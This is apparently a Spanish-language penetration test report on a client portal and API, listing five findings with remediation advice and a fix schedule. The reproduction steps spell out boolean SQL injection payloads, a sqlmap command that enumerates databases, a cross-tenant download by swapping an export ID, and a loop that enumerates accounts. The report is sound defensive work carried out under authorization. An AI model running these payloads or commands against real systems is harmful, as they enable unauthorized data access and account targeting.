INFORME FINAL DE SEGURIDAD
Evaluación de aplicación web y API
ACME · Portal de clientes
- Referencia
- FT-2026-024
- Modalidad
- Grey Box
- Periodo
- 4–15 septiembre 2026
- Clasificación
- Confidencial
01 · RESUMEN EJECUTIVO
Una postura sólida con una prioridad clara.
La evaluación identificó cinco hallazgos validados. Uno es crítico: el buscador de facturas de la API concatena la entrada del usuario en la consulta SQL y permite leer datos de otras organizaciones. Un segundo hallazgo, de riesgo alto, permite descargar informes de otro inquilino manipulando el identificador de la exportación.
Conclusión
La arquitectura dispone de controles defensivos adecuados, pero la inyección SQL debe corregirse antes de cualquier lanzamiento. Después conviene reforzar la autorización por objeto y la revocación de sesiones.
02 · ALCANCE
Superficie autorizada
Las pruebas se limitaron a los siguientes activos y a dos cuentas dedicadas con roles de usuario y administrador de organización.
| Activo | Tipo | Cobertura |
|---|---|---|
| portal.acme.test | Aplicación web | Completa |
| api.acme.test/v2 | API REST | Completa |
| auth.acme.test | Identidad | Autenticación |
03 · METODOLOGÍA
Evaluación reproducible y supervisada.
Descubrimiento
Mapeo autorizado de rutas, APIs y controles.
Pruebas
OWASP ASVS, WSTG y casos de lógica de negocio.
Validación
Reproducción manual y eliminación de falsos positivos.
Retest
Confirmación independiente de las correcciones.
04 · HALLAZGOS
Resultados priorizados
Inyección SQL en el buscador de facturas
api.acme.test/v2 · InjectionImpacto
El parámetro de búsqueda se concatena en la consulta SQL. Una cuenta con permisos mínimos puede leer tablas ajenas al inquilino, incluidas credenciales con hash y datos de facturación de otras organizaciones.
Recomendación
Sustituir la concatenación por consultas parametrizadas, aplicar una lista blanca en el campo de ordenación y ejecutar la aplicación con un rol de base de datos sin permisos sobre tablas de sistema.
Reproducción validada
- Obtener un token de una cuenta de prueba
Se usa la cuenta autorizada para el ejercicio, sin privilegios de administración.
curl -s -X POST https://api.acme.test/v2/auth/login \ -H 'Content-Type: application/json' \ -d '{"email":"pentest-user@acme.test","password":"[REDACTED]"}' \ | jq -r .access_token > token.txt - Confirmar el punto de inyección
Una comilla simple rompe la consulta y el backend devuelve el error del motor, lo que confirma que el valor llega sin parametrizar.
curl -s -G https://api.acme.test/v2/invoices/search \ -H "Authorization: Bearer $(cat token.txt)" \ --data-urlencode "q=acme'"
- Verificar la condición booleana
La respuesta cambia de 0 a 42 resultados según la condición inyectada: la consulta es controlable por el atacante.
# falso -> 0 resultados curl -s -G https://api.acme.test/v2/invoices/search \ -H "Authorization: Bearer $(cat token.txt)" \ --data-urlencode "q=acme' AND 1=2-- " | jq '.total' # verdadero -> 42 resultados curl -s -G https://api.acme.test/v2/invoices/search \ -H "Authorization: Bearer $(cat token.txt)" \ --data-urlencode "q=acme' AND 1=1-- " | jq '.total'
- Determinar el alcance con sqlmap
Ejecutado con nivel y riesgo mínimos, sin volcado masivo: solo se enumeran nombres para medir el impacto.
sqlmap -u "https://api.acme.test/v2/invoices/search?q=acme" \ --headers="Authorization: Bearer $(cat token.txt)" \ --level=2 --risk=1 --batch --technique=B \ --dbs --threads=2
- Acotar la prueba
Confirmada la lectura de una fila fuera del inquilino, se detiene la explotación y se notifica al responsable técnico el mismo día.
Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-89 · A03:2021 · Injection.
Control de acceso insuficiente en exportaciones
portal.acme.test · Broken Access ControlImpacto
Un usuario autenticado puede descargar informes de otra organización cambiando el identificador de la exportación. El servidor comprueba la sesión, pero no que el recurso pertenezca al inquilino.
Recomendación
Comprobar la propiedad del recurso en servidor en cada acceso, apoyarse en RLS por organización y añadir pruebas negativas automatizadas para la descarga entre inquilinos.
Reproducción validada
- Iniciar sesión con dos cuentas de prueba
Cuenta A pertenece a la organización evaluada; cuenta B a una organización de control creada para el ejercicio.
curl -s -c a.jar -X POST https://portal.acme.test/login \ -d 'email=pentest-a@acme.test&password=[REDACTED]' curl -s -c b.jar -X POST https://portal.acme.test/login \ -d 'email=pentest-b@acme.test&password=[REDACTED]'
- Generar un informe con la cuenta A y anotar su identificador
El identificador viaja en la URL de descarga y no está firmado.
curl -s -b a.jar -X POST https://portal.acme.test/api/reports/export \ -H 'Content-Type: application/json' -d '{"projectId":"prj_a"}' | jq -r .exportId # => exp_9f21c0c4 - Descargar ese informe desde la cuenta B
La respuesta es 200 y entrega el PDF de la organización A: la autorización por objeto no existe.
curl -s -b b.jar -o cross-tenant.pdf -w '%{http_code}\n' \ https://portal.acme.test/api/reports/exp_9f21c0c4/download # => 200 - Confirmar y detener
Se verifica la cabecera del fichero, se destruye la copia y se documenta el hallazgo sin extraer datos reales.
head -c 20 cross-tenant.pdf | xxd | head -1 shred -u cross-tenant.pdf
Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-639 · A01:2021 · Broken Access Control.
Sesiones activas tras el cambio de contraseña
app.acme.test · Session ManagementImpacto
Una sesión robada sigue siendo válida después de que la víctima cambie su contraseña, de modo que el cambio no corta el acceso del atacante.
Recomendación
Revocar el resto de sesiones al cambiar credenciales, rotar el identificador de sesión y ofrecer al usuario una lista de dispositivos activos con opción de cierre.
Reproducción validada
- Abrir dos sesiones con la misma cuenta
Simulan el navegador de la víctima y el del atacante.
curl -s -c victima.jar -X POST https://app.acme.test/login \ -d 'email=pentest-user@acme.test&password=[REDACTED]' curl -s -c atacante.jar -X POST https://app.acme.test/login \ -d 'email=pentest-user@acme.test&password=[REDACTED]'
- Cambiar la contraseña desde la primera sesión
El cambio se completa correctamente y la aplicación muestra el aviso de éxito.
curl -s -b victima.jar -X POST https://app.acme.test/api/account/password \ -H 'Content-Type: application/json' \ -d '{"current":"[REDACTED]","next":"[REDACTED-NUEVA]"}' - Reutilizar la sesión antigua
La segunda sesión sigue devolviendo 200 y datos de la cuenta media hora después del cambio.
curl -s -b atacante.jar -o /dev/null -w '%{http_code}\n' \ https://app.acme.test/api/account/profile # => 200
Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-613 · A07:2021 · Identification and Authentication Failures.
Política CSP demasiado permisiva
www.acme.test · Security MisconfigurationImpacto
La política permite scripts en línea y orígenes amplios, de modo que una futura inyección de contenido se ejecutaría sin barrera preventiva.
Recomendación
Eliminar unsafe-inline, emitir un nonce por respuesta, restringir los orígenes autorizados y vigilar las violaciones con report-to.
Reproducción validada
- Leer las cabeceras de seguridad
La política declara unsafe-inline y un comodín en las fuentes de script.
curl -sI https://www.acme.test/ | grep -i 'content-security-policy'
- Contrastar con un evaluador
La política no supera el nivel recomendado por falta de nonces y por permitir código en línea.
curl -s https://csp-evaluator.withgoogle.com/ >/dev/null # evaluación manual de la cadena obtenida en el paso anterior
- Comprobar el efecto en una página de prueba
Un script en línea insertado en el entorno de preproducción se ejecuta sin bloqueo. No se introduce contenido en producción.
Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-693 · A05:2021 · Security Misconfiguration.
Enumeración de usuarios en recuperación de cuenta
portal.acme.test · Identification FailuresImpacto
El formulario responde de forma distinta según exista la cuenta, lo que permite confirmar qué direcciones están registradas y preparar ataques dirigidos.
Recomendación
Unificar el mensaje y el tiempo de respuesta con independencia de la existencia de la cuenta, y limitar los intentos por IP y por dirección.
Reproducción validada
- Solicitar la recuperación con una cuenta existente
El mensaje confirma el envío y la respuesta tarda algo más por el envío del correo.
curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \ -X POST https://portal.acme.test/api/password/reset \ -H 'Content-Type: application/json' \ -d '{"email":"pentest-user@acme.test"}' # => codigo:200 tiempo:0.412 - Repetir con una dirección inexistente
Cambian el texto y el tiempo, así que la diferencia es observable sin acceso previo.
curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \ -X POST https://portal.acme.test/api/password/reset \ -H 'Content-Type: application/json' \ -d '{"email":"no-existe-9f21@acme.test"}' # => codigo:404 tiempo:0.086 - Medir el patrón con una lista corta
Se usan diez direcciones creadas para el ejercicio, con un intento por segundo, para no afectar al servicio.
while read email; do curl -s -o /dev/null -w "$email %{http_code} %{time_total}\n" \ -X POST https://portal.acme.test/api/password/reset \ -H 'Content-Type: application/json' -d "{\"email\":\"$email\"}" sleep 1 done < direcciones-de-prueba.txt
Evidencia sanitizada: credenciales, identificadores y datos de cliente aparecen redactados. Referencias: CWE-204 · A07:2021 · Identification and Authentication Failures.
05 · PLAN DE REMEDIACIÓN
Orden de actuación recomendado
- 0–7 días
Corregir la inyección SQL del buscador de facturas
Parametrizar la consulta, añadir pruebas negativas y revisar el resto de rutas con concatenación.
- 0–15 días
Corregir autorización de exportaciones
Aplicar validación de inquilino en servidor y pruebas negativas.
- 0–30 días
Revocar sesiones tras cambios sensibles
Invalidar sesiones y mostrar dispositivos activos.